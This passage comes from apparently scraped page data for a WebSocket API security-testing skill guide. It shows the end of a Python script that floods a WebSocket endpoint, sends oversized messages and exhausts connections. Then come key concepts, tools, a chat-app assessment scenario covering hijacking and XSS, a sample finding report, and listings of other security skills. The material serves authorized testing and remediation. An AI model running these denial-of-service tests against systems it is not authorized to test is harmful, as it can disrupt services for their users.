({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n",{"name":5,"tags":55,"author":56,"domain":47,"license":16,"version":57,"nist_csf":58,"subdomain":36,"description":7,"mitre_attack":63},[36,34,37,38,39,45],"mahipal","1.0.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66,67,68],"T1190","T1059.007","T1552.001","T1055","T1059","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-websocket-api-security",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-websocket-api-security",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-websocket-api-security",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-websocket-api-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",true,[93,98,104],{"path":94,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-websocket-api-security\u002FLICENSE",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fapi-reference.md","REFERENCE","参考文档",1954,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-websocket-api-security\u002Freferences\u002Fapi-reference.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",8449,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-websocket-api-security\u002Fscripts\u002Fagent.py",[111,141,170,200,231,262],{"skillNo":112,"name":113,"nameZh":114,"description":115,"descriptionZh":116,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":117,"categories":118,"keywords":123,"publishedAt":50},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[119,120],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":121,"categoryName":122,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[124,125,126,127,32,47,128,129,46,130,131,132,133,134,135,136,137,138,139,140],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":142,"name":143,"nameZh":144,"description":145,"descriptionZh":146,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":147,"categories":148,"keywords":153,"publishedAt":50},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[149,150],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":151,"categoryName":152,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[154,137,155,156,32,157,47,46,158,159,160,161,162,163,164,165,166,167,168,169],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":171,"name":172,"nameZh":173,"description":174,"descriptionZh":175,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":176,"categories":177,"keywords":184,"publishedAt":50},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[178,181],{"categoryNo":179,"categoryName":180,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":182,"categoryName":183,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[164,185,186,187,35,47,188,44,158,189,190,191,192,193,194,195,196,197,198,199],"backup","recovery","validating backup integrity for recovery","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":201,"name":202,"nameZh":203,"description":204,"descriptionZh":205,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":206,"categories":207,"keywords":212,"publishedAt":50},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[208,209],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":210,"categoryName":211,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[213,214,215,47,216,217,218,219,220,221,222,223,224,225,226,227,161,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":234,"description":235,"descriptionZh":236,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":237,"categories":238,"keywords":243,"publishedAt":50},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[239,242],{"categoryNo":240,"categoryName":241,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[244,245,246,47,247,248,249,250,251,252,253,254,255,256,257,258,33,259,260,261],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":263,"name":264,"nameZh":265,"description":266,"descriptionZh":267,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":268,"categories":269,"keywords":274,"publishedAt":50},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[270,271],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":272,"categoryName":273,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[32,275,47,276,277,278,279,280,281,282,283,195,284,196,285,286,287,288,289,290],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]